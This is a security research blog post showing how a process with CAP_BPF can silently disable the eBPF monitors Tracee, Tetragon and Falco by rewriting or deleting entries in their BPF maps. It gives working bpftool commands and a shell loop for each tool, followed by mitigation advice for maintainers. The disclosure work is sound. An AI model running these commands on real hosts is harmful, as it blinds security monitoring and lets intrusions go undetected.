eBPF-based security tools like Falco, Tracee, and Tetragon are trusted to watch everything happening on a Linux host. They hook into kernel tracepoints, monitor syscalls, and generate alerts when something suspicious happens.
But what if I told you that a process with CAP_BPF can silently disable all three — no crashes, no error logs, no health check failures — and the tools keep reporting "healthy" the whole time?
That's what I found. This post walks through the technical details.
The Core Problem
eBPF security tools store their runtime state in BPF maps: configuration flags, event routing tables, process tracking databases, syscall filter arrays. Every security decision these tools make depends on the integrity of these maps.
Here's the thing: the Linux BPF subsystem has no per-map access control. Any process with CAP_BPF can read, modify, or delete entries in any BPF map on the host — including maps belonging to security monitors.
And none of the three major tools use bpf_map_freeze(), BPF_F_RDONLY_PROG, or any runtime integrity verification on their critical maps.
Tracee: Two Fields, Total Blindness
Tracee's config_map stores a struct called config_entry_t. Two fields matter:
-
enabled_policies(offset 216, u64): bitmask of active detection policies -
policies_version(offset 14, u16): cache invalidation counter
Every event passes through match_scope_filters(), which computes:
res & policies_cfg->enabled_policies
If enabled_policies == 0, this is always zero. Every event is dropped.
But there's a catch — Tracee caches this value per-CPU and only re-reads when policies_version changes. So you need to bump the version too:
# Read current config_map
bpftool map dump id <MAP_ID>
# Write back with enabled_policies=0, version bumped
bpftool map update id <MAP_ID> key 0x00 0x00 0x00 0x00 value <modified_bytes>
Result: 16 events → 0 events. Tracee keeps running. No logs. No crash.
Tetragon: Delete the Tail Calls
Tetragon takes a different approach — all maps are pinned at /sys/fs/bpf/tetragon/. No enumeration needed.
The attack targets two maps:
execve_calls(PROG_ARRAY): Holds tail call targets for the exec event pipeline. Delete the entries, andbpf_tail_call()silently returns — the pipeline breaks.execve_map(HASH): Tracks every process by PID. Clear it, and Tetragon loses track of everything.
# Break the exec pipeline
bpftool map delete pinned /sys/fs/bpf/tetragon/__base__/event_execve/execve_calls \
key 0x00 0x00 0x00 0x00
bpftool map delete pinned /sys/fs/bpf/tetragon/__base__/event_execve/execve_calls \
key 0x01 0x00 0x00 0x00
# Clear process tracking (for each PID entry)
bpftool map delete pinned /sys/fs/bpf/tetragon/execve_map key <pid_bytes>
Result: 14+ events → 0 events. Tetragon reports healthy via gRPC. Nothing in the logs.
Falco: Zero the Syscall Filter
Falco's interesting_syscalls is a BPF array with 512 entries (one byte each). At the very first instruction of every syscall probe, Falco checks:
if (interesting_syscalls[NR] == 0) return; // skip this syscall
Zero all 512 entries:
for i in $(seq 0 511); do
key=$(printf '%02x %02x 00 00' $((i & 0xff)) $((i >> 8)))
bpftool map update id <MAP_ID> key hex $key value hex 00
done
Result: All alerts → 0 alerts. Falco's userspace process receives nothing from the kernel.
Cross-Tool Results
| Tool | Version | Baseline | Post-Modification | Logs/Errors |
|---|---|---|---|---|
| Tracee | v0.24.1 | 16 events | 0 events | None |
| Tetragon | v1.4.0 | 14+ events | 0 events | None |
| Falco | latest | 1+ alerts | 0 alerts | None |
All three: silent, immediate, reversible. The tools stay running. Health checks pass. The telemetry just... stops.
Why This Happens
This isn't a bug in any of these tools. It's architectural:
- The BPF subsystem was designed for cooperative environments — no map ownership, no per-map ACLs
-
bpf_map_freeze()exists since kernel 5.2, but no tool uses it on critical maps (many need runtime updates, and freeze is permanent) - No tool implements runtime integrity verification or heartbeat checks on map state
-
CAP_BPFis a single binary capability — you either have full BPF access or none
What Can Be Done
| Mitigation | Feasibility | Notes |
|---|---|---|
bpf_map_freeze() on static config maps |
High | Only for maps that don't change after init |
| Periodic map integrity verification | High | Detects tampering with TOCTOU caveat |
| Heartbeat canary in BPF maps | Medium | BPF program writes rotating value, userspace validates |
Restrict CAP_BPF distribution |
High | Minimize processes with BPF access |
External bpf() syscall auditing |
Medium | Monitor map update/delete calls via auditd |
| Kernel-level per-map owner binding | Low | Doesn't exist yet |
The most practical immediate fix: periodic integrity checks. A userspace watchdog thread that reads critical map values every 100ms and restores them if tampered. It's not perfect (TOCTOU race), but it raises the bar from "one command, permanent" to "continuous effort."
Research & Code
Full research, reproducible PoC scripts, and a tool that automates the entire workflow:
GitHub: github.com/azqzazq1/SunnyMapBPF
The repo includes per-tool PoC scripts that deploy each tool, establish a baseline, apply the modification, verify the result, and restore normal operation.
This research was conducted to help tool maintainers harden their BPF map state. The techniques require CAP_BPF, a privileged capability. The contribution is documenting that current tools don't defend their own runtime state against same-privilege tampering.
Top comments (0)